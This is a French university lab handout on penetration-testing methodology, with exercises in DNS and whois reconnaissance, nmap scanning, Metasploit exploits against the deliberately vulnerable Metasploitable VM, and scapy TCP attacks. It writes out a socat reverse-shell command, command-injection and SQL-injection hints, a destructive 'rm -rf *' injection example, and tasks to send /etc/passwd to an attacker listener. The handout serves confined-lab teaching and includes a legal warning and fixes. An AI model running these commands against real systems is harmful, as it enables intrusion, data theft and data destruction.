R316 CYBER TP
R316 CYBER TP
R316 CYBER TP
Méthodologie du pentesting
Travaux pratiques
Sami Evangelista
IUT de Villetaneuse
Département Réseaux et Télécommunications
2023–2024
http://www.lipn.univ-paris13.fr/~evangelista/cours/R316-CYBER
TP 2 — Exploit de vulnérabilités 4
Ce document est mis à disposition selon les termes de la licence Creative Commons “Attribution – Pas
d’utilisation commerciale – Partage dans les mêmes conditions 4.0 International”.
TP 1 — C OLLECTE D ’ INFORMATIONS 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
TP 1 — Collecte d’informations
Ce TP passe en revue différents outils pouvant être utilisés lors d’une phase de collecte d’informations d’un test
d’intrusion. Il doit être réalisé sur une image debian (≥ 10).
Remerciements. Ce TP reprend des éléments d’un TP de Thierry Peyre (IUT de Lannion) que je remercie.
L’argument @serveurDNS est optionnel. Dans ce cas, dig contactera le serveur indiqué dans /etc/resolv.conf. De
même le typeEnregistrement est optionnel. Ce sera le type A par défaut.
I 1.1 Utilisez dig (avec l’option +short pour que dig ne soit pas trop bavard) pour récupérer les informations suivantes :
— Les IP des serveurs de nom de l’université Paris 13 (domaine univ-paris13.fr).
— Les IP des serveurs de messagerie de l’université.
— Le FQDN du serveur web de l’université (www.univ-paris13.fr étant un alias) et les IP qui lui sont asso-
ciées.
Q 1.1 Quel peut être l’intérêt d’avoir plusieurs IP associées à un seul nom pour un serveur web ?
whois C’est un service de recherche fourni par les registres internet (organismes qui allouent des blocs d’IP) ou par
les registres de noms de domaine (organismes qui gèrent les informations relatives au domaines de premier niveau,
par exemple, l’AFNIC pour le domaine .fr). whois est aussi le nom d’un outil permettant d’interroger un serveur
whois.
I 1.2 Utilisez whois pour obtenir des informations sur le domaine de l’université :
$ whois univ - paris13 . fr
I 1.3 Utilisez maintenant whois pour obtenir des informations sur le domaine wikipedia.org.
Q 1.5 Y-a-t-il des informations utiles pour obtenir davantage d’informations sur le SI ou le personnel de wikipedia ?
whois peut aussi être utilisé pour trouver le propriétaire d’une IP.
I 1.4 Trouvez le propriétaire de l’IP (ou d’une des IP) associée(s) au serveur web de l’université :
$ whois ip -du - serveur - web
dig peut ensuite découvrir d’autres hôtes de son réseau avec une résolution inverse (option -x de dig).
Page 2 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 1 — C OLLECTE D ’ INFORMATIONS
I 1.5 Utilisez dig pour découvrir trois autres hôtes du réseau du serveur web de l’université :
$ dig -x ip -d -un - hote
dnsdumpster Le serveur web dnsdumpster.com offre un service de découverte d’hôtes basé sur le protocole DNS.
Q 1.7 Quelles sont les types d’enregistrements DNS trouvés (A, NS, CNAME, . . .) ?
Q 1.8 Le site web gamekult fait appel à plusieurs compagnies pour héberger ses services. Lesquelles ?
Q 1.9 Quelle compagnie posséde les serveurs DNS faisant autorité sur gamekult.com ?
Q 1.10 Quelle compagnie posséde les serveurs d’envoi de mails vers des adresses en @gamekult.com ?
Q 1.11 Quelle compagnie posséde le serveur web www.gamekult.com ?
Q 1.12 Quel est l’intérêt pour gamekult, en terme de sécurité, d’avoir autant d’hébergeurs ?
Q 2.1 Combien de vulnérabilités avez-vous trouvées ? Donnez les identifiants (CVE ID) des trois premières vulnérabi-
lités découvertes.
Q 2.2 À quel(s) type(s) d’attaque(s) (Vulnerability Type(s)) ces vulnérabilités expose(nt)-elle(s) ?
Q 2.3 Décrire ces type(s) en quelques mots.
I 3.1 Installez le paquet recon-ng puis utilisez le pour collecter les informations suivantes sur une cible de votre choix
(p.ex., une compagnie ou un organisme public) :
— IP des hôtes dans le domaine ;
— noms et adresses mail de contacts ;
— adresses postales ;
— et toute autre information pertinente.
Page 3 / 13
TP 2 — E XPLOIT DE VULNÉRABILITÉS 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
TP 2 — Exploit de vulnérabilités
L’objectif de ce TP est de montrer les conséquences réelles de quelques attaques classiques et de voir en pratique un
outil permettant de mettre en œuvre une démarche de recherche et d’exploit de vulnérabilités.
Nous allons pour cela utiliser la machine virtuelle (VM) metasploitable fournie par les développeurs de metasploit à
des fins pédagogiques. Cette VM contient intentionnellement de très nombreuses vulnérabilités. Nous allons en particulier
voir comment le serveur web, mal programmé, permet certaines attaques et comment metasploit peut nous aider à exploiter
plusieurs vulnérabilités des services proposés par la VM pour, par exemple, gagner un accès root sur la VM.
I 1.6.8 Vérifiez votre configuration (adresse IP + route + serveur DNS) avec la requête DNS suivante :
$ dig + short www . lipn . univ - paris13 . fr
194.254.163.36
I 1.6.9 Dans le code php du serveur web, il faut corriger un bug dans les paramètres de connexion à la base de
données. Il faut pour cela modifier dans le fichier /var/www/mutillidae/config.inc le nom de la base
de données qui n’est pas metasploit, mais owasp10.
I 1.7 Vérifiez également que votre VM répond bien aux pings de votre machine physique.
Page 4 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 2 — E XPLOIT DE VULNÉRABILITÉS
I 2.2 Saisissez le nom www.univ-paris13.fr dans la zone de texte, puis cliquez sur le bouton Lookup DNS.
Q 2.1 Sachant qu’avec les plupart des shells le caractère ; permet d’exécuter des commandes en séquence (par exemple :
ls ; pwd exécute ls puis pwd) qu’est ce qu’un utilisateur mal intentionné peut taper dans la zone de saisie pour
afficher le contenu du fichier /etc/passwd du serveur dans le navigateur ?
Ce type de faille est souvent exploité par l’attaquant pour ouvrir un shell inversé. Le principe est de faire exécuter
par la cible (ici le serveur web) une commande qui va ouvrir un shell sur la machine de l’attaquant, comme si l’attaquant
ouvrait une session sur la machine cible. On va pour cela utiliser la commande socat.
I 2.4 Dans le terminal de la machine physique, démarrez un serveur TCP en écoute (-l pour listen) sur le port 12345 :
$ nc -l -p 12345
Une fois la commande lancée, rien ne se passe : nc est en attente d’un client. Laissez nc en exécution.
I 2.5 Via le formulaire web, faites exécutez au serveur la commande suivante :
$ socat tcp - connect :IP -de -l - attaquant :12345 exec :" bash -li ",pty , stderr , setsid , sigint , sane
Cette commande exécute un nouveau shell bash connecté au port 12345 de l’attaquant.
I 2.6 Revenez dans le terminal de l’attaquant dans lequel vous avez lancé nc.
I 2.7 Affichez par exemple le contenu du fichier /var/www/mutillidae/config.inc pour voir les paramètres de
connexion à la base de données.
I 2.8 Fermez le reverse shell de l’attaquant.
La page contient un formulaire de connexion. Supposons que l’utilisateur entre comme login XXX et comme mot de
passe YYY. Le script de connexion exécuté après validation du formulaire va alors exécuter la requête suivante :
SELECT * FROM accounts WHERE username ='XXX' AND password ='YYY';
Q 2.2 Qu’est ce qu’un utilisateur mal intentionné peut taper dans la zone de saisie du mot de passe pour se connecter en
tant qu’utilisateur admin sans connaître le mot de passe ? Indications : vous pouvez saisir dans le champ du mot
de passe les caractères ' (pour terminer une chaîne de caractères) et # (pour marquer le début d’un commentaire).
I 2.10 Testez votre hypothèse et vérifiez que le message Logged In Admin: admin s’affiche bien.
Page 5 / 13
TP 2 — E XPLOIT DE VULNÉRABILITÉS 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
Avec cette attaque, il est possible en théorie de faire exécuter n’importe requête SQL au serveur, y compris des requêtes
de mise à jour (UPDATE, INSERT, . . .).
Pour parer les attaques d’injection le programmeur du site web doit s’assurer des commandes ou requêtes exécutées.
Cela peut se faire en ajoutant des vérifications dans les scripts et/ou en utilisant des caractères d’échappement avant les
caractères spéciaux. Supposons par exemple que l’attaquant tente de faire exécuter par le serveur la commande nslookup
www.lipn.fr ; rm -rf *. Une parade simple consiste à insérer un backslash avant le point-virgule, ce qui fera exécuter
à la place la commande nslookup www.lipn.fr \; rm -rf *. Ceci annule l’attaque car ici le point-virgule n’est pas
interprété par le serveur comme le séparateur de commande : il devient un simple argument de la commande nslookup.
Nous allons corriger le problème d’injection de commandes.
par :
echo shell_exec (" nslookup " . str_replace (";" , "\;" , $ targethost ));
Ainsi, dans la commande exécutée par le serveur, le script insérera un backslash avant chaque point-virgule.
I 2.13 Suivez les instructions I 2.2 et I 2.3 pour vérifier que le script fonctionne toujours mais ne peut plus être attaqué.
I 3.1 Metasploit n’est pas présent dans les dépôts debian. On ne peut donc pas l’installer avec apt. Mais Rapid7 fournit
un script d’installation. Téléchargez et exécutez le script :
$ apt update
$ apt install curl wget gnupg2
$ curl https :// raw . githubusercontent . com / rapid7 / metasploit - omnibus / master / config / templates / metasploit -
framework - wrappers / msfupdate . erb > msfinstall
$ chmod +x msfinstall
$ ./ msfinstall
Avant d’utiliser l’outil nous allons d’abord voir son mode de fonctionnement général et définir quelques termes.
Un exploit est un code permettant de pénetrer un système cible (dans notre cas la VM) en exploitant une de ses failles.
Le but d’un exploit est de faire exécuter un code malveillant au système cible. Ce code s’appelle un payload. Un
payload classique est le lancement d’un terminal sur le système cible. Un autre exemple est la création d’un utilisateur
pour que l’attaquant puisse se connecter à distance au système par la suite.
L’exploit n’est donc pas l’attaque en soi, c’est le moyen de réaliser l’attaque. L’attaque, c’est le payload.
La méthode que l’on suivra pour découvrir les failles exploitables de la VM est la suivante :
— scanner la cible (ports ouverts, numéros de version, . . .)
— identifier les vulnérabilités (avec le moteur de recherche de metasploit, dans https://www.cvedetails.com, . . .)
— trouver les exploits possibles pour les vulnérabilités
— si un exploit est possible : sélectionner un payload et lancer l’exploit.
Dans un premier temps nous allons voir comment exploiter une vulnérabilité critique du serveur FTP de la VM.
C’est dans cette console que l’on va pouvoir réaliser des exploits. Dans la suite du sujet nous utiliserons le message
d’invite msf > pour les commandes spécifiques à la console metasploit.
I 3.3 Avec nmap, on scanne les ports TCP les plus courants de la VM :
$ nmap -P0 IP -de -la - VM
Page 6 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 2 — E XPLOIT DE VULNÉRABILITÉS
I 3.4 Avec nmap, on scanne le port 21 de la VM pour trouver la version du serveur FTP :
$ nmap -sV -P0 -p21 IP -de -la - VM
I 3.5 On recherche ensuite un exploit dont la description ou le nom contient le mot vsftpd :
msf > search type : exploit vsftpd
Même si le nom de l’exploit est assez explicite, metasploit nous informe que l’exploit tire parti d’une vulnérabilité de
VSFTPD v2.3.4 qui permet (voir la description) d’ouvrir une porte dérobée sur la victime.
On voit alors que le message d’invite a changé, indiquant qu’un exploit a été sélectionné. De plus, un autre message
nous indique qu’un payload par défaut a été sélectionné. C’est le payload cmd/unix/interact.
I 3.8 On peut aussir visualiser la liste des payloads disponibles pour cet exploit :
msf exploit ( unix / ftp / vsftpd_234_backdoor ) > show payloads
La description dit grosso modo que le payload consiste en l’ouverture d’un shell sur l’hôte cible.
À ce stade, on a sélectionné un exploit et un payload. Il nous reste à indiquer l’IP et le port de la machine à attaquer.
(RHOST signifie Remote Host, soit hôte distant. Normalement, RPORT devrait déjà avoir 21 pour valeur par défaut.)
I 3.11 Enfin on lance l’exploit :
msf exploit ( unix / ftp / vsftpd_234_backdoor ) > run
Si l’attaque réussit (et elle doit réussir) un shell sur la VM doit alors s’exécuter dans la console metasploit. Attention,
aucun message d’invite n’est affiché. Vous aurez la main après l’affichage du message Command shell session ....
I 3.12 Affichez l’UID de l’utilisateur connecté (echo $UID). Vous verrez que l’attaque a permis d’obtenir un accès root
sur la VM (l’UID vaut 0).
I 3.13 Fermez le shell.
Metasploit nous a donc permis de découvrir une faille critique dans notre VM concernant le serveur FTP.
I 3.14 En suivant les mêmes étapes (scanner, rechercher, sélectionner un exploit + un payload, . . .), lancez un payload
permettant de créer un utilisateur quelconque sur la VM (sans lancer de shell comme nous l’avions fait avec
l’attaque précédente) en exploitant une faille du serveur irc.
I 3.15 Identifiez une troisième faille pouvant donner lieu à une attaque.
Page 7 / 13
TP 3 — S CAN DE RÉSEAUX AVEC NMAP 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
Attention : tout acte de balayage de réseau non autorisé est assimilé à une attaque et est donc répréhensible selon la
loi française. L’utilisation d’un outil comme nmap doit se faire dans un cadre contrôlé (p.ex., un audit de sécurité)
ou dans un environnement confiné (p.ex., une salle de TP, un réseau virtuel).
(La commande systemctl n’est pas disponible sur les machines virtuelles de marionnet qui utilisent le système d’initia-
lisation SysV init (plutôt que systemd qui est maintenant le système utilisé par la plupart des distributions).)
Dans la suite, tous les tests nmap devront être effectués en root. De plus, on utilisera systématiquement l’option -n qui
désactive la résolution inverse. Celle-ci permet en temps normal d’afficher les noms des hôtes plutôt que leurs IP. Comme
nmap n’a pas de moyen d’effectuer de résolution inverse, les tests nmap sont ralentis sans cette option.
Pour “simuler” une découverte sur un autre réseau nous utiliserons maintenant l’option --send-ip.
I 2.2 Tout en capturant les paquets sur nmap, lancez les deux balayages suivants :
# nmap -n -sP -PE --send - ip 10.0.0.2
# nmap -n -sP - PT1234 --send - ip 10.0.0.2
Q 2.4 En analysant le trafic capturé, expliquez le fonctionnement de ces deux méthodes (-PE et -PT) de découverte.
Dans la suite du TP vous utiliserez systématiquement l’option -P0 de nmap pour sauter l’étape de découverte.
Page 8 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 3 — S CAN DE RÉSEAUX AVEC NMAP
Si l’utilisateur ne possède pas ce droit (la possibilité d’envoyer des paquets bruts), c’est le balayage de type connect
(option -sT) qui est effectué par défaut.
I 3.3 Refaites les tests précédents en activant l’option -sT à la place de -sS.
Q 3.2 Quelle différence observe-t-on par rapport au balayage SYN dans le cas d’un port ouvert (22 dans notre cas) ?
Le balayage SYN ne respecte pas la phase de connexion TCP classique (poignée de mains en trois temps). Or, lors-
qu’un processus n’a pas le droit d’envoyer des paquets bruts, il doit faire appel à la primitive connect du système d’ex-
ploitation (qui, elle, effectue une connexion propre, en trois temps) comme c’est le cas avec le balayage connect. D’où la
nécessité d’avoir ce droit avec le balayage SYN.
Q 3.3 Quel avantage y-a-t-il pour un attaquant d’utiliser le balayage SYN (par rapport au balayage connect) ?
I 4.1 Testez les trois balayages (option -sX pour Xmas, -sF pour FIN, -sN pour Null) sur les ports 22 et 80 de la cible
tout en capturant les trames avec wireshark.
Q 4.1 Expliquez le fonctionnement du balayage Xmas (bien observer, avec wireshark, les différents bits de contrôle
TCP activés par nmap) et les différents états de port constatés par nmap (selon l’état du port balayé).
Q 4.2 Même question pour le balayage Fin.
Q 4.3 Même question pour le balayage NULL.
Q 4.4 Quels sont les avantages et inconvénients de ces trois types de balayage par rapport aux balayages SYN et
connect ?
I 5.2 Sur l’hôte cible, exécutez la commande suivante qui configure le pare-feu pour bloquer les paquets entrants :
$ iptables -P INPUT DROP
Page 9 / 13
TP 3 — S CAN DE RÉSEAUX AVEC NMAP 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
I 5.4 Sur l’hôte cible, exécutez la commande suivante qui configure le pare-feu pour accepter les paquets entrants :
$ iptables -P INPUT ACCEPT
I 6.1 Lancez une prise d’empreinte TCP/IP sur la cible en activant l’option -vv (mode très verbeux).
Q 6.2 Dans la dernière ligne de ce détail, trouvez et donnez le code de retour du test nommé CD.
Q 6.3 En consultant la documentation à l’URL https://nmap.org/book/osdetect-methods.html#osdetect-cd
expliquez en quoi consiste ce test et le résultat observé par nmap.
Q 6.4 Le système de la cible agit-il correctement dans ce cas ?
I 7.1 Lancez un scan pour trouver la version du service ssh s’exécutant sur l’hôte cible en activant, pour avoir un détail
des opérations effecutées, l’option --version-trace. Nmap étant alors très bavard, sauvegardez le résultat de la
commande, à l’aide d’une redirection, vers un fichier quelconque que nous nommerons truc dans la suite.
I 7.2 Recherchez dans le fichier truc une ligne de la forme
Service scan match ( Probe <TEST > matched with ... line <N >) ...
<TEST> correspond alors au nom du test dans le fichier nmap-service-probes qui a fonctionné. <N> est le numéro
de la ligne dans ce même fichier qui correspond à la réponse envoyée par le service cible en réponse à ce test.
Q 7.1 Quel est le nom du test qui a permis de déterminer la version du service ssh ? Décrivez en quoi consiste ce test.
Retrouvez pour cela dans le fichier nmap-service-probes la ligne commençant par Probe TCP <TEST> avec
<TEST> à remplacer par le nom du test trouvé dans le fichier truc.
Q 7.2 Quel est le nom du test qui a été positif dans ce cas ? Décrivez en quoi consiste ce test.
Page 10 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 4 — ATTAQUES SUR TCP AVEC SCAPY
L’objectif de ce TP est d’expérimenter des attaques réseau basées sur TCP à l’aide du paquet python scapy. Le TP est
à faire sur marionnet à partir du projet disponible à cette adresse :
https://www-lipn.univ-paris13.fr/~evangelista/cours/R316-CYBER/R316-scapy.mar
Le réseau est composé de 3 PC connectés à un hub. L’hôte scapy est celui depuis lequel nous expérimenterons les
attaques visant à perturber les connexions telnet entre le client et le serveur. Le paquet scapy y est déjà installé.
Vous trouverez en page 13 des rappels sur scapy.
Votre compte-rendu devra contenir les codes des scripts ainsi que des copies d’écran et explications des tests effectués.
Dans la suite, on utilisera telnet pour tester nos attaques. Voici, pour rappel, les instructions pour l’utiliser.
Connectez vous avec le compte student (mot de passe = student). Ceci va ouvrir un shell sur le serveur. Vous
pouvez ensuite le fermer avec Ctrl+D ou exit.
Indications.
— En théorie, l’attaquant utilise une IP et un port source choisis aléatoirement comme nous l’avons vu en TD. Pour éviter
d’envoyer des paquets vers l’extérieur, vous utiliserez une IP source aléatoire dans le réseau IP de vos 3 hôtes.
— Utilisez la fonction randint(min, max) du paquet random pour générer un nombre aléatoire dans [min, max].
Pour tester votre script :
I 2.2 Sur le client : si une session telnet est ouverte, fermez la.
I 2.3 Sur scapy : lancez l’attaque sur le serveur. Le port utilisé par le service telnet est le port 23.
I 2.4 Pour vérifier que l’attaque fonctionne :
— Sur le serveur : lancez la commande suivante qui affiche l’état des connexion TCP :
$ netstat -tna
Vous devriez voir de nombreuses connexions dans l’état SYN_RECV. Ce sont des connexions non finalisées
pour lesquelles seul le paquet SYN a été reçu.
— Sur le client : ouvrez une session telnet sur le serveur. Soit la commande telnet échoue avec un message
indiquant Connection timed out. Soit elle se fait mais difficilement : le client reste longtemps dans l’état
Trying ... avant d’afficher le message Connected to ....
Page 11 / 13
TP 4 — ATTAQUES SUR TCP AVEC SCAPY 2023–2024 R316-CYBER — M ÉTHODOLOGIE DU PENTESTING
Indications. Il faut utiliser la classe Raw de scapy pour encapsuler des données quelconques dans un PDU. Par exemple,
le code ci-dessous crée un paquet TCP contenant les données telnet ls /tmp :
p = IP () / TCP ( dport =23) / Raw (" ls / tmp ")
En utilisant l’attaque de vol de session, l’attaquant peut aussi forcer le serveur à entrer en contact avec lui, par exemple,
pour lui faire envoyer le contenu d’un fichier. Nous allons pour cela utiliser la commande nc qui permet, entre autres, de
démarrer un serveur TCP. Nous allons dans un premier temps nous familiariser avec cette commande :
I 4.6 Sur scapy : lancez un serveur en écoute (option -l pour listen) sur le port 12345 :
$ nc -l -p 12345
I 4.7 Sur le serveur : ouvrez une connexion TCP sur le port 12345 de scapy pour y envoyer des données quelconques
(le mot hello par exemple) :
$ echo hello | telnet 10.0.0.100 12345
(Le port par défaut utilisé par la commande telnet est 23 mais on peut l’utiliser pour contacter n’importe quel
port.)
I 4.8 Sur scapy : vérifiez que le mot hello a bien été écrit dans le terminal. Le serveur n’est alors plus en écoute.
Page 12 / 13
R316-CYBER — M ÉTHODOLOGIE DU PENTESTING 2023–2024 TP 4 — ATTAQUES SUR TCP AVEC SCAPY
I 4.9 Modifiez le script hijack.py (il suffit juste de modifier la commande que l’attaquant fait exécuter au serveur)
pour que le serveur envoie le contenu de son fichier /etc/passwd à l’attaquant sur le port 12345.
I 4.10 Testez votre modification. Vous suivrez les mêmes instructions qu’aux points I 4.2 à I 4.5 en démarrant au préa-
lable, dans un nouveau terminal de scapy, un serveur TCP en écoute sur le port 12345. Si l’attaque fonctionne le
contenu du fichier /etc/passwd du serveur devrait s’afficher dans le terminal de scapy dans lequel s’exécute nc.
I 4.11 Enfin, documentez vous sur le principe du shell inversé (reverse shell) et modifiez le script hijack.py afin qu’il
fasse exécuter au serveur l’ouverture d’un shell sur le port 12345 de scapy.
# f o r g e r un PDU IP a v e c l e s v a l e u r s p a r d é f a u t
p = IP ()
# mé t h o d e show p o u r a f f i c h e r l e c o n t e n u du PDU
p. show ()
# f o r g e r d e s PDU a v e c d e s v a l e u r s s p é c i f i q u e s
p = IP ( src =" 10.0.2.1 " , dst =" 10.0.2.2 " , ttl =22)
p = TCP ( sport =54 , dport =789 , flags =" RSAFUP ") # R=RST , S=SYN , A=ACK , F=FIN , U=URG, P=PSH
# e n v o i d ' un PDU de n i v e a u 3
p = IP () / TCP ()
send (p)
# e n v o i d ' un PDU de n i v e a u 2
p = Ether () / IP () / TCP ()
sendp (p)
# e n v o i d ' un PDU de n i v e a u 3 e t r é c e p t i o n de l a r é p o n s e
p = IP () / TCP ()
reponse = sr1 (p , timeout =2) # on a t t e n d 2 s e c . max
i f reponse i s None:
p r i n t (" aucune ré ponse re ç ue ")
else:
reponse . show ()
# e n v o i d ' un PDU de n i v e a u 2 e t r é c e p t i o n de l a r é p o n s e
p = Ether () / IP () / TCP ()
reponse = srp1 (p , timeout =2)
i f reponse i s None:
...
# t e s t e r qu ' un PDU e s t b i e n p r é s e n t d a n s un p a q u e t
i f ICMP i n reponse :
p r i n t (" la ré ponse contient un PDU ICMP ")
# a c c é d e r à un PDU
i f TCP i n reponse :
pdu_tcp = reponse [ TCP ]
p r i n t ( pdu_tcp . flags )
# ca p tu r er des paquets
paquets = sniff ( timeout =2)
p r i n t (" liste des paquets captur és pendant 2 secondes :")
f o r paquet i n paquets :
paquet . show ()
# c a p t u r e r d e s p a q u e t s e t a p p e l e r une f o n c t i o n à c h a q u e f o i s qu ' un p a q u e t e s t r e ç u
d e f affiche_paquet_recu ( paquet ):
paquet . show ()
sniff ( timeout =10 , prn = affiche_paquet_recu )
Page 13 / 13